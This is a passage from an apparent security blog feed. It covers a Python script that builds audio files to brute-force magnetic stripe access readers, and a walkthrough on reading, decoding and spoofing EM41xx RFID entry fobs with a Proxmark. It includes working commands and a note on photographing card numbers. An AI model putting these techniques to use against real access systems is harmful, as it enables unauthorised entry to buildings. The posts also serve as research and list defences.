	<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span> <span style="color: black;">&#41;</span>:
		raw = <span style="color: #008000;">ord</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span> - base
		<span style="color: #ff7700;font-weight:bold;">if</span> raw <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">0</span> <span style="color: #ff7700;font-weight:bold;">or</span> raw <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #008000;">max</span>:
			<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Illegal character:'</span>, <span style="color: #008000;">chr</span><span style="color: black;">&#40;</span>raw+base<span style="color: black;">&#41;</span>
			<span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #008000;">False</span><span style="color: black;">&#41;</span>
		parity = <span style="color: #ff4500;">1</span>
		<span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>bits-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
			output += <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>raw <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;&amp;</span>gt<span style="color: #66cc66;">;</span> y <span style="color: #66cc66;">&amp;</span>amp<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
			parity += raw <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;&amp;</span>gt<span style="color: #66cc66;">;</span> y <span style="color: #66cc66;">&amp;</span>amp<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">1</span>
			lrc<span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span> = xor<span style="color: black;">&#40;</span>lrc<span style="color: black;">&#91;</span>y<span style="color: black;">&#93;</span>, raw <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;&amp;</span>gt<span style="color: #66cc66;">;</span> y <span style="color: #66cc66;">&amp;</span>amp<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
		output += <span style="color: #008000;">chr</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>parity <span style="color: #66cc66;">%</span> <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span> + <span style="color: #008000;">ord</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'0'</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
	parity = <span style="color: #ff4500;">1</span>
	<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>bits - <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
		output += <span style="color: #008000;">chr</span><span style="color: black;">&#40;</span>lrc<span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span> + <span style="color: #008000;">ord</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'0'</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		parity += lrc<span style="color: black;">&#91;</span>x<span style="color: black;">&#93;</span>
	output += <span style="color: #008000;">chr</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>parity <span style="color: #66cc66;">%</span> <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span> + <span style="color: #008000;">ord</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'0'</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">return</span> output
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">5</span>:
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;createWavs.py v0.01&quot;</span>
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Usage: %s   OutputFile.wav    &amp;lt;[r]everse&amp;gt; &amp;lt;delay_at_front_and_back&amp;gt; &quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Samples defaults to 15, Padding to 0&quot;</span>
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;* = Try all in range for track, eg, T2 = 0,1,2,3,4,5,6,7,8,9,:,;,&amp;lt;,=,&amp;gt;,?&quot;</span>
&nbsp;
	<span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #008000;">False</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;-------------------------------------------------&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;      Marty McFly's Wav Generator                &quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;      Generating Aiken Biphase Wav Files         &quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;         by Andrew MacPherson (@AndrewMohawk)    &quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;-------------------------------------------------&quot;</span>
tracknum = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
data = <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span>
padding = <span style="color: #ff4500;">0</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span>:
	padding = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">4</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
samplesPerBit = <span style="color: #ff4500;">15</span>
<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">5</span><span style="color: black;">&#41;</span>:
	samplesPerBit = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">5</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
reverse = <span style="color: #008000;">False</span>
<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">6</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">6</span><span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'r'</span><span style="color: black;">&#41;</span>:
	reverse = <span style="color: #008000;">True</span>
delay=<span style="color: #ff4500;">0</span>
<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">7</span><span style="color: black;">&#41;</span>:
	delay = <span style="color: #008000;">float</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">7</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
results = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
numStars = data.<span style="color: black;">count</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;*&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Found %s number of brute force fields&quot;</span> <span style="color: #66cc66;">%</span> numStars
bruteForceList = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">;</span>
<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>tracknum == <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">for</span> z <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">32</span>,<span style="color: #ff4500;">95</span><span style="color: black;">&#41;</span>:
		bruteForceList.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #008000;">chr</span><span style="color: black;">&#40;</span>z<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>tracknum == <span style="color: #ff4500;">2</span> <span style="color: #ff7700;font-weight:bold;">or</span> tracknum ==<span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">for</span> z <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">48</span>,<span style="color: #ff4500;">64</span><span style="color: black;">&#41;</span>:
		bruteForceList.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #008000;">chr</span><span style="color: black;">&#40;</span>z<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#print bruteForceList</span>
<span style="color: #808080; font-style: italic;">#exit(0)</span>
<span style="color: #808080; font-style: italic;">#bruteForceList = ['A','B']</span>
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: black;">&#40;</span>numStars <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Generating Aiken Biphase... &quot;</span>
	pfmt = data
	i = <span style="color: #ff4500;">0</span>
	<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">True</span>:
		n = baseN<span style="color: black;">&#40;</span>i, bruteForceList, numStars<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> numStars:
			<span style="color: #ff7700;font-weight:bold;">break</span>
		tmp = pfmt
		<span style="color: #ff7700;font-weight:bold;">for</span> c <span style="color: #ff7700;font-weight:bold;">in</span> n:
			tmp = tmp.<span style="color: black;">replace</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'*'</span>, c, <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
		<span style="color: #808080; font-style: italic;">#results.append(tmp)</span>
		results.<span style="color: black;">append</span><span style="color: black;">&#40;</span>createAikenBiphase<span style="color: black;">&#40;</span>tracknum,tmp,padding<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		i += <span style="color: #ff4500;">1</span>
<span style="color: #ff7700;font-weight:bold;">else</span>:
	results.<span style="color: black;">append</span><span style="color: black;">&#40;</span>createAikenBiphase<span style="color: black;">&#40;</span>tracknum,data,padding<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Generated %s Results&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>results<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Building consecutive wav file..&quot;</span>
&nbsp;
wavFile=<span style="color: #dc143c;">wave</span>.<span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
params= <span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span>, <span style="color: #ff4500;">2</span>, <span style="color: #ff4500;">22050</span>, 0L, <span style="color: #483d8b;">'NONE'</span>, <span style="color: #483d8b;">'not compressed'</span><span style="color: black;">&#41;</span>
wavFile.<span style="color: black;">setparams</span><span style="color: black;">&#40;</span>params<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> r <span style="color: #ff7700;font-weight:bold;">in</span> results:
	createSquareWav<span style="color: black;">&#40;</span>wavFile,samplesPerBit,r,reverse,delay<span style="color: black;">&#41;</span>
&nbsp;
wavFile.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p><a href="http://www.andrewmohawk.com/createWavs.py">You can grab the file here.</a></p>
<p>Essentially the script allowed you to create a longer wave file that you would play to the device with the following options:</p>
<p>* Track Number (remember we can only do 1 at a time)<br />
* How many padding 0&#8242;s we should use<br />
* How many samples per bit we would create in the audio file (essentially how big the gaps are)<br />
* Reversing of the data (y/n)<br />
* Delay inbetween tracks to ensure that you give the reader enough time to process it.</p>
<p>I could then place a * within the data which would try every possible combination for that point (depending on which track you were using) and get a &#8216;brute force&#8217; wav file back :)</p>
<p>From here I could then connect everything up, create a wav file which I put onto an audio player (simply so I wasnt using a laptop) and with a tiny device brute force my way in. Here is a video of it in action with an old bank card and my ipod:</p>
<p><iframe src="http://www.youtube.com/embed/nhnutc6IuWQ" height="315" width="560" allowfullscreen="" frameborder="0"></iframe></p>
<p>(You will note my amp here looks a lot fancier &#8211; someone else kindly built me a new one after having a look at mine! )</p>
<h2>Conclusion</h2>
<p>Magstripes are old tech and are definitely susceptible to brute force and replay attacks via a few Rands (or dollars) of equipment. There are limitations that can make this a lot harder such as:</p>
<p>1. Checking that multiple tracks are being read at once (it costs more for the readers, but its access we are talking about)<br />
2. Logging possible brute force attempts (and having higher read timeouts, costing attackers time when trying to brute force)<br />
3. Lockout conditions if a card is used multiple times in an unusual manner (although this could provide a DoS scenario for an attacker)<br />
4. Encryption on the card data means that the person brute forcing would need to figure out how your data is encrypted first</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Bypassing LF Entry Systems</title>
		<link>http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems/</link>
		<comments>http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems/#comments</comments>
		<pubDate>Sun, 27 Jan 2013 02:08:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[RFID]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Access Control]]></category>
		<category><![CDATA[FOB]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[LF]]></category>
		<category><![CDATA[Low Frequency]]></category>
		<category><![CDATA[Proxmark]]></category>
		<category><![CDATA[Tags]]></category>
		<category><![CDATA[ZACon]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=627</guid>
		<description><![CDATA[Its taken a lot of motivation to start writing this, and I hope its okay, I have a mental block that I need to write this and the second post about magstripes before moving on to some new things with my plants I want to try. Eye Candy: My friend Roelof Temmingh (@Roeloftemmingh) made this [...]]]></description>
				<content:encoded><![CDATA[<p>Its taken a lot of motivation to start writing this, and I hope its okay, I have a mental block that I need to write this and the second post about magstripes before moving on to some new things with my plants I want to try.</p>
<h2>Eye Candy:</h2>
<p>My friend Roelof Temmingh (@<a href="http://www.twitter.com/Roeloftemmingh" target="_blank">Roeloftemmingh</a>) made this cool video for my talk, check it out below or at <a href="http://vimeo.com/51228567" target="_blank">http://vimeo.com/51228567. </a> Please note we had permission to test out the door at Senseposts&#8217; old office :)</p>
<p>&nbsp;</p>
<p><iframe src="http://player.vimeo.com/video/51228567" height="281" width="500" allowfullscreen="" frameborder="0"></iframe></p>
<p><a href="http://vimeo.com/51228567">Mission Plausible</a> from <a href="http://vimeo.com/roelofvideo">RT</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>:)</p>
<p><span id="more-627"></span></p>
<h2>Intro:</h2>
<p>So It started with me wanting to get into a building that has RFID tags for my talk on the basics of bypassing physical security. The first things I had to do was to find out about how RFID actually works and what types there are and so on. Essentially there are two very common flavours:</p>
<p>* 125Khz / 134Khz &#8211; LF (Low Frequency) tags &#8212; <strong>NB. these are most commonly used for access control</strong>.<br />
* 13.56 Mhz &#8211; HF (High Frequency) tags &#8212; these seem to be used more for payment and other public infrastructure such as train systems</p>
<p>The other big differentiators that I saw were between battery powered (active) and non-battery powered (passive) tags. In smaller sealed form factors such as the mini key FOBs and so on it seems to me that most if not all are passive. These tags are powered by the EM field of the reader (which is pretty small and why you need to put your tag almost on the reader before it is read).</p>
<p>Essentially the LF Passive tags get powered on and scream out a code until they are powered off (moved away). Active tags seem more common with high end security devices and those used outside of access control on this like Ultra High Frequency (UHF) tags for monitoring vehicles.</p>
<h2>LF got your nose?</h2>
<p>So after identifying the common types I had to figure out what kind of tags I was dealing with, one way of doing it is by looking at the tags under a light or opening them up and taking a look at the antenna, basics are: lots of coils (longer piece of wire) its most likely HF, less wire (less coils) its most likely LF tags.</p>
<p>Naturally my DIY skills tend to turn into me using multiple plasters and crying so taking apart the FOBs that I received seemed like a bad idea. Google, however, is one of my best friends and most systems have something online that give away the type of tag as well as the encoding (I&#8217;ll get to this next). The tags I had turned out to be GSC System Proximity tags connected to a &#8220;Proxlock&#8221;, the information on the tags was available at <a href="http://www.gscsystems.com/gsc_site_files1/proximity_cards_and_tags1/620-10-proximity-mini-keyring-tag/620-10-proximity-mini-keyring-tag.htm" target="_blank">http://www.gscsystems.com/gsc_site_files1/proximity_cards_and_tags1/620-10-proximity-mini-keyring-tag/620-10-proximity-mini-keyring-tag.htm</a> , the interesting parts being:</p>
<p style="text-align: center;"><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems-em41xx/tag-specification/" rel="attachment wp-att-630"><img class="size-medium wp-image-630 aligncenter" title="Proximity Tag Description on vendor page" alt="" src="http://andrewmohawk.com/wp-content/uploads/2013/01/tag-specification-300x210.png" width="300" height="210" /></a></p>
<p>This naturally gave me what I needed to know that it was a 125Khz (LF) tag and even some information on the data. The term &#8220;security data&#8221; seemed daunting at the time and could have implied some sort of crypto, but it worked out in the end ;)</p>
<p>The last way that you can determine the tags is by using the proxmark3, really a great device and I was lucky enough to get a second hand one from Major Malfunction a few Defcon&#8217;s ago for cheap and it hasn&#8217;t let me down since.  The screenshots of my proxmark are from a windows environment simply because it was easier to get to from here but I really recommend running it on a *nix based system as it seems to be a lot more stable/functional!</p>
<p>Essentially the proxmark comes with a function to tune the antennas which allows you to adjust them to see how well they are tuned. To get it it simply plug in your proxmark and either a HF or LF antenna and type &#8216;hw tune&#8217; after loading up the proxmark interface:</p>
<p><strong>With LF antenna and no tag present:</strong></p>
<p><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems-em41xx/proxmark-lfantenna-notag/" rel="attachment wp-att-632"><img class="aligncenter size-medium wp-image-632" alt="proxmark-lfantenna-notag" src="http://andrewmohawk.com/wp-content/uploads/2013/01/proxmark-lfantenna-notag-300x98.png" width="300" height="98" /></a></p>
<p><strong>With LF antenna and an LF tag present:</strong></p>
<p><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems-em41xx/proxmark-lfantenna-tag/" rel="attachment wp-att-631"><img class="aligncenter size-medium wp-image-631" alt="proxmark-lfantenna-tag" src="http://andrewmohawk.com/wp-content/uploads/2013/01/proxmark-lfantenna-tag-300x98.png" width="300" height="98" /></a></p>
<p>As you can see from the above the voltage picked up by a rather high amount and told us that the tag we presented was indeed a LF tag.</p>
<p>&nbsp;</p>
<h2>Data Shmata:</h2>
<p>Next step of course was trying to read the data, and figure out exactly what was being sent. At this stage I knew the tags were LF (125Khz) and that the data was some sort of Amplitude Shift Keying as well as Manchester encoding (not that I had any idea on the first one just yet). Additionally I knew there was &#8220;security data&#8221; on the tags, so it might not be sending the same message but might use something like <a href="http://en.wikipedia.org/wiki/KeeLoq" target="_blank">KeeLoq </a>or another cryptographic algorithm to decide what to send.</p>
<p>Proxmark is an AMAZING device/toolset for playing with this type of stuff and includes common setups with preconfigured functionality as well as the ability for you to get raw data out and plot it. After doing a bit of reading on the device and going through the forum I decided to tackle it the old fashioned raw way. First step was getting the data and plotting it, from the Proxmark interface I simply do the following:</p>
<p>* <strong>lf read</strong> &#8211; this seems to be a requirement a bunch of the time to get it to use the LF antenna, i am not sure, but do this for good measure it won&#8217;t hurt.<br />
* <strong>data samples 4000</strong> &#8211; This takes 4000 samples and reads them into a buffer so that you can visualise them on the graph<br />
* <strong>data plot </strong> &#8211; Simply plots the data as seen below:</p>
<p><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems-em41xx/proxmark-rawdataplot-2/" rel="attachment wp-att-634"><img class="aligncenter size-medium wp-image-634" alt="proxmark-rawdataplot" src="http://andrewmohawk.com/wp-content/uploads/2013/01/proxmark-rawdataplot1-300x260.png" width="300" height="260" /></a></p>
<p>Now I have the data I need to demodulate it, similar to what is done with the radio data (after all this is still radio, just very low freq radio :)). The data is encoded in the amplitude of the  carrier wave using a technique known as Amplitude Shift Keying (you can read more at <a href="http://en.wikipedia.org/wiki/Amplitude-shift_keying" target="_blank">Wikipedia</a> , but you dont really need to know it).  As I just said, while its nice to know, the proxmark can do all of the demodulating for you so that you do not even need to worry about what ASK is.</p>
<p>To demodulate your data now you can simply use the function &#8216;<strong>data askdemod</strong>&#8216; and hey presto, square wave:</p>
<p><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems-em41xx/proxmark-askdemoddataplot/" rel="attachment wp-att-635"><img class="aligncenter size-medium wp-image-635" alt="proxmark-askdemoddataplot" src="http://andrewmohawk.com/wp-content/uploads/2013/01/proxmark-askdemoddataplot-300x260.png" width="300" height="260" /></a></p>
<p>So now we have the square wave we need to get the raw binary out, these types of LF cards generally use manchester encoding to &#8230;encode the data. Again proxmark and its toolkit of awesome has a handy function to demodulate the data for you &#8220;data mandemod&#8221;. You read more about manchester encoding on <a href="http://en.wikipedia.org/wiki/Manchester_code" target="_blank">the wiki page.</a> The most important aspect to note is that there are two different conventions for representing the data, one where the 1&#8242;s are high-to-low and the other the 1&#8242;s are a low-to-high. So if the device you are working with uses one you can either use the data directly or simply invert the data to get it into the other format. An example of the output can be seen below:</p>
<p><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems-em41xx/proxmark-mandemod/" rel="attachment wp-att-637"><img class="aligncenter size-medium wp-image-637" alt="proxmark-mandemod" src="http://andrewmohawk.com/wp-content/uploads/2013/01/proxmark-mandemod-300x260.png" width="300" height="260" /></a></p>
<p>The outputted data is as follows:</p>
<pre>0 1 0 0 0 1 0 0 0 1 1 1 0 1 0 0
1 1 0 0 0 0 0 0 0 0 0 1 1 1 1 1
0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 1 0 0 0 1 1 0 1 0 1 1
0 1 0 0 0 1 0 0 0 1 1 1 0 1 0 0
1 1 0 0 0 0 0 0 0 0 0 1 1 1 1 1
0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 1 0 0 0 1 1 0 1 0 1 1
0 1 0 0 0 1 0 0 0 1 1 1 0 1 0 0
1 1 0 0 0 0 0 0 0 0 0 1 1 1 1 1
0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 1 0 0 0 1 1 0 1 0 1 1
0 1 0 0 0 1 0 0 0 1 1 1 0 1 0 0
1 1 0 0 0 0 0 0 0 0 0 1 1 1 1 1
0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1</pre>
<p>Playing with it slightly I can see the following patterns:</p>
<pre>010001000111010011
0000000001111100001111111111110000010001101011010001000111010011
0000000001111100001111111111110000010001101011010001000111010011
0000000001111100001111111111110000010001101011010001000111010011
000000000111110000111111111111</pre>
<p>After repeating this process a few times, i&#8217;m getting the same repeated data the whole time &#8212; fantastic!</p>
<h2>Decoding Data:</h2>
<p>So I started looking around and speaking to a few other people and after a bit of reading I found out that the format of the data was in EM41x tag. Essentially you can spot it by the 7 leading 1&#8242;s (or 0&#8242;s in our case due to the Manchester Encoding issue I described earlier). Even better the format is really well described (even with pictures for me!):</p>
<p><a href="http://www.priority1design.com.au/em4100_protocol.html" target="_blank">http://www.priority1design.com.au/em4100_protocol.html</a><br />
<a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems-em41xx/em41xformat/" rel="attachment wp-att-638"><img class="aligncenter size-medium wp-image-638" alt="em41xformat" src="http://andrewmohawk.com/wp-content/uploads/2013/01/em41xformat-300x175.png" width="300" height="175" /></a></p>
<p>Throwing our data into that format (and I have a webapp for that &#8212; in the next section) the data bits for the fob i was testing were &#8217;11110110010001011011000&#8242; which in hex was &#8216;FB22D8&#8242; and most importantly was 8069848 in decimal, the EXACT number written on my FOB.</p>
<h2>Webapping the Decoding:</h2>
<p><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems-em41xx/em41xwebapp/" rel="attachment wp-att-639"><img class="aligncenter size-medium wp-image-639" alt="em41xWebApp" src="http://andrewmohawk.com/wp-content/uploads/2013/01/em41xWebApp-300x211.png" width="300" height="211" /></a></p>
<p>So at this stage I had found a few interesting things, namely, the FOBs were sending out EXACTLY what was written on them, prefixed with 0f as the manufacturer code. Additionally the binary would also need to sometimes be inverted depending on which Manchester encoding standard was used. Later on I found out I needed to have the full binary as well as other to transmit and spoof the data. Lastly because the tags were sending out exactly what was written on them I also wanted to have a way to be able to generate tag data from just the number so I built an encoder as well.</p>
<p>You can use the webapp at <a href="http://andrewmohawk.com/EM41X/" target="_blank">http://andrewmohawk.com/EM41X/</a> and get the tarball for it at <a href="http://andrewmohawk.com/EM41X/EM41x.tgz" target="_blank">http://andrewmohawk.com/EM41X/EM41x.tgz</a></p>
<h2>Spoofing:</h2>
<p>So now I have the ability to read the data, I know what it is sending and I can create either a copy of a tag from the text that is written on it or by reading it with my proxmark. Now I want to gain access to whatever it is that the tag is opening (in this case the entrance door as seen in the video).</p>
<p>There are two ways to spoof the tags  with the Proxmark, either with the EM41x toolset or manually. I prefer to have a bit more control over the data when testing, so mostly I am doing it manually, but the functions in the EM410x set seem to work well.</p>
<p><strong>*NB* If you have a wire/movable antenna the shape it of seems to GREATLY impact how well you transmit. I found a square shape worked the best for TX. (I also know nothing about antenna design &#8211; use salt).</strong></p>
<h3><strong>Manually:</strong></h3>
<p>The most common way to transmit the data is to manually set the clock speed and data, the command is the &#8216;LF simman&#8217; and has 3 params:<br />
* The Clock speed (generally 64)<br />
* The actual data<br />
* The Microsecond gap that is to be used between transmits (nice if you want to test reliability)</p>
<p>So for the example I have been using I put the data into the webapp and then use the following on the proxmark:</p>
<p><strong>lf simman 64 1111111110000011110000000000001111101110010100101110111000101100 10</strong></p>
<h3>EM41x Toolset</h3>
<p>The proxmark has a number of tools for the EM41x format and they can be find by typing &#8216;lf em4x&#8217; into the proxmark console. Essentially to simulate the tag all you need is the hex value that the key is sending out (in this case &#8211; 0f007b22d8) and to use the &#8216;<strong>lf em4x em410xsim &lt;key&gt;</strong>&#8216; command.</p>
<p>The toolset also has additional functionality to watch for a tag and then record it as well as try and decode the data in the buffer and so on.</p>
<h2>What you should be concerned about:</h2>
<p>&nbsp;</p>
<h3><strong>Photobomb Much?</strong></h3>
<p>Naturally seeing the data is pretty neat, but seeing the data transmitting something that is WRITTEN on the card is terrifying. We did some basics tests at the office and Roelof could stand relatively far away and take a photo of my keys on the table where my tag was to get a clear enough image for us to read the numbers. Additionally it seems easily possible to take a photo of someone standing in front of your target (say at a coffee shop or elsewhere) and zoom past them to get a snap of the keys from quite the distance.</p>
